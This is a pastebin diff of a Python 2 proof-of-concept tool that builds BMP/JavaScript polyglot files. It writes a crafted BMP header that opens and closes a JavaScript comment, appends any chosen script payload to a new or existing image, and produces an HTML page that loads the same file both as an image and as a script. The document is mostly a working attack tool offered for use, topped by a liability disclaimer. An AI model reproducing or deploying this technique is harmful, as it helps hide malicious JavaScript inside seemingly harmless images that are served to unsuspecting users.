View difference between Paste ID: MURBYw67 and 04y7ee3u
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python2
2
#============================================================================================================#
3
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
4
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
5
#======= Author: marcoramilli.blogspot.com ==================================================================#
6
#======= Version: PoC (don't even think to use it in development env.) ======================================#
7
#======= Disclaimer: ========================================================================================#
8
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
9
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
10
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
11
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
12
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
13
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
14
								#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
15
								#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
16
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
17
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
18
#POSSIBILITY OF SUCH DAMAGE.
19
#===========================================================================================================#
20
import argparse
21
import os
22
23
#---------------------------------------------------------
24
def _hexify(num):
25
	"""
26
	Converts and formats to hexadecimal
27
	"""
28
	num = "%x" % num
29
	if len(num) % 2:
30
		num = '0'+num
31
	return num.decode('hex')
32
33
#---------------------------------------------------------
34
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
35
#;alert(_0xe428[0]);"
36
def _generate_and_write_to_file(payload, fname):
37
	"""
38
	Generates a fake but valid BMP within scriting
39
	"""
40
	f = open(fname, "wb")
41
	header = (b'\x42\x4D'  #Signature BM
42
						b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header 
43
						b'\x00\x00\x00\x00' #Reserved
44
						b'\x00\x00\x00\x00' #bitmap data offset
45
						b''+ _hexify( len(payload) ) + #bitmap header size
46
					  b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
47
						b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
48
					  b'\x00\x00' #nb_plan	
49
						b'\x00\x00' #nb per pixel
50
						b'\x00\x10\x00\x00' #compression type
51
						b'\x00\x00\x00\x00' #image size .. its ignored
52
						b'\x00\x00\x00\x01' #Horizontal resolution
53
						b'\x00\x00\x00\x01' #Vertial resolution
54
						b'\x00\x00\x00\x00' #number of colors
55
						b'\x00\x00\x00\x00' #number important colors
56
						b'\x00\x00\x00\x80' #palet colors to be complient
57
						b'\x00\x80\xff\x80' #palet colors to be complient
58
						b'\x80\x00\xff\x2A' #palet colors to be complient
59
						b'\x2F\x3D\x31\x3B' #*/=1;
60
						)
61
	# I made this explicit, step by step .
62
	f.write(header)
63
	f.write(payload)
64
	f.close()
65
	return True
66
67
#---------------------------------------------------------
68
def _generate_launching_page(f):
69
	"""
70
	Creates the HTML launching page
71
	"""
72
73
	htmlpage ="""
74
								<html>
75
								<head><title>Opening an image</title> </head>
76
								<body>
77
									<img src=\"""" + f + """\"\>
78
									<script src= \"""" + f + """\"> </script>
79
								</body>
80
								</html>
81
						"""
82
	html = open("run.html", "wb")
83
	html.write(htmlpage);
84
	html.close()
85
	return True
86
87
#---------------------------------------------------------
88
def _inject_into_file(payload, fname):
89
	"""
90
	Injects the payload into existing BMP
91
	NOTE: if the BMP contains \xFF\x2A might caouse issues
92
	"""
93
	# I know, I can do it all in memory and much more fast.
94
	# I wont do it here.
95
	f = open(fname, "r+b")
96
	b = f.read()
97
	b.replace(b'\x2A\x2F',b'\x00\x00')
98
	f.close()
99
100
	f = open(fname, "w+b")
101
	f.write(b)
102
	f.seek(2,0)
103
	f.write(b'\x2F\x2A')
104
	f.close()
105
106
	f = open(fname, "a+b")
107
	f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
108
	f.write(payload)
109
	f.close()
110
	return True
111
112
113
#---------------------------------------------------------
114
if __name__ == "__main__":
115
	parser = argparse.ArgumentParser()
116
	parser.add_argument("filename",help="the bmp file name to be generated/or infected")
117
	parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
118
	parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
119
	args = parser.parse_args()
120
	print("""
121
					|======================================================================================================|
122
					| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
123
					| It is the end user's responsibility to obey all applicable local, state and federal laws.            |
124
					| Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
125
					|======================================================================================================|
126
					""")
127
	if args.inject_to_existing_bmp:
128
		 _inject_into_file(args.js_payload, args.filename)
129
	else:
130
		_generate_and_write_to_file(args.js_payload, args.filename)
131
	
132
	_generate_launching_page(args.filename)
133
	print "[+] Finished!"